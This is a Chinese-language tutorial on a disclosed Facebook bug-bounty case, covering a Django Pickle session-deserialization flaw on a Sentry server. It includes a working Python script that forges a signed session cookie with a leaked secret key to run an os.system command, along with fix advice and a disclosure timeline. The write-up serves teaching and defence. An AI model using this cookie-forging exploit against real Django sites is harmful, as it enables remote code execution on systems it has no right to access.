Django框架中Pickle反序列化漏洞分析与利用

漏洞概述

本教学文档详细分析了一个Facebook服务器上发现的Django框架中Pickle反序列化漏洞，该漏洞允许攻击者通过伪造会话cookie执行任意命令，获得了Facebook官方5000美元奖励。

漏洞发现过程

目标识别

• 目标IP段：199.201.65.0/24
• 具体目标IP：199.201.65.36
• 服务识别：运行Sentry服务（基于Python和Django的日志收集应用）
• 主机名：sentryagreements.thefacebook.com

初步观察

• 页面频繁出现堆栈跟踪(stacktrace)行为
• 密码重置功能不稳定，经常崩溃
• Django调试模式未关闭，暴露运行环境信息

关键漏洞点分析

1. 环境变量泄露

堆栈跟踪暴露了以下关键环境变量：

• SESSION_COOKIE_NAME: sentrysid
• SESSION_SERIALIZER: django.contrib.sessions.serializers.PickleSerializer
• SESSION_ENGINE: django.contrib.sessions.backends.signed_cookies
• SENTRY_OPTIONS: 包含Sentry配置信息列表

2. Pickle序列化风险

• Django使用Pickle模块进行对象序列化/反序列化
• Pickle协议允许序列化任意Python对象
• 如果攻击者能控制序列化数据，可能导致任意代码执行

3. 密钥泄露

• SENTRY_OPTIONS中暴露了system.secret-key
• 该密钥用于会话验证，等同于Django的SECRET_KEY
• 文档说明：若该密钥泄露，必须重新生成，否则会话可能被劫持

漏洞利用步骤

1. 获取当前会话cookie

示例cookie值：
gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw

2. 构造恶意Payload

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[获取的密钥]' 

# 原始cookie
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'

# 反序列化原始cookie
newContent = django.core.signing.loads(
    cookie,
    key=SECRET_KEY,
    serializer=django.contrib.sessions.serializers.PickleSerializer,
    salt='django.contrib.sessions.backends.signed_cookies'
)

# 构造恶意Pickle对象
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))

# 添加恶意对象到cookie内容
newContent['testcookie'] = PickleRce()

# 重新序列化为恶意cookie
print django.core.signing.dumps(
    newContent,
    key=SECRET_KEY,
    serializer=django.contrib.sessions.serializers.PickleSerializer,
    salt='django.contrib.sessions.backends.signed_cookies',
    compress=True
)

3. 漏洞验证

• 将生成的恶意cookie替换原sentrysid cookie
• 访问服务，若页面响应延迟30秒，则证明漏洞存在

漏洞修复建议

1. 关闭调试模式：生产环境必须关闭Django调试模式
2. 密钥保护：
   • 确保SECRET_KEY不会通过任何途径泄露
   • 定期轮换密钥
3. 序列化方案：避免使用PickleSerializer，改用JSONSerializer
4. 输入验证：对所有反序列化操作进行严格验证
5. 网络隔离：敏感服务应部署在独立VLAN中

时间线与处理结果

• 2018.7.30 00:00 漏洞初报
• 2018.7.30 15:25 Facebook分类并下线Sentry服务
• 2018.8.9 18:10 补丁修复完成
• 2018.8.9 20:10 获得$5000奖励
• 确认Sentry服务器位于独立VLAN，未包含用户数据

总结

本案例展示了Django框架中Pickle反序列化结合密钥泄露导致的严重安全问题。开发人员应当：

1. 严格保护所有加密密钥
2. 谨慎选择序列化方案
3. 确保生产环境配置安全
4. 及时修复已知漏洞

安全研究人员在进行此类测试时，应遵循负责任的披露流程，确保测试行为合法合规。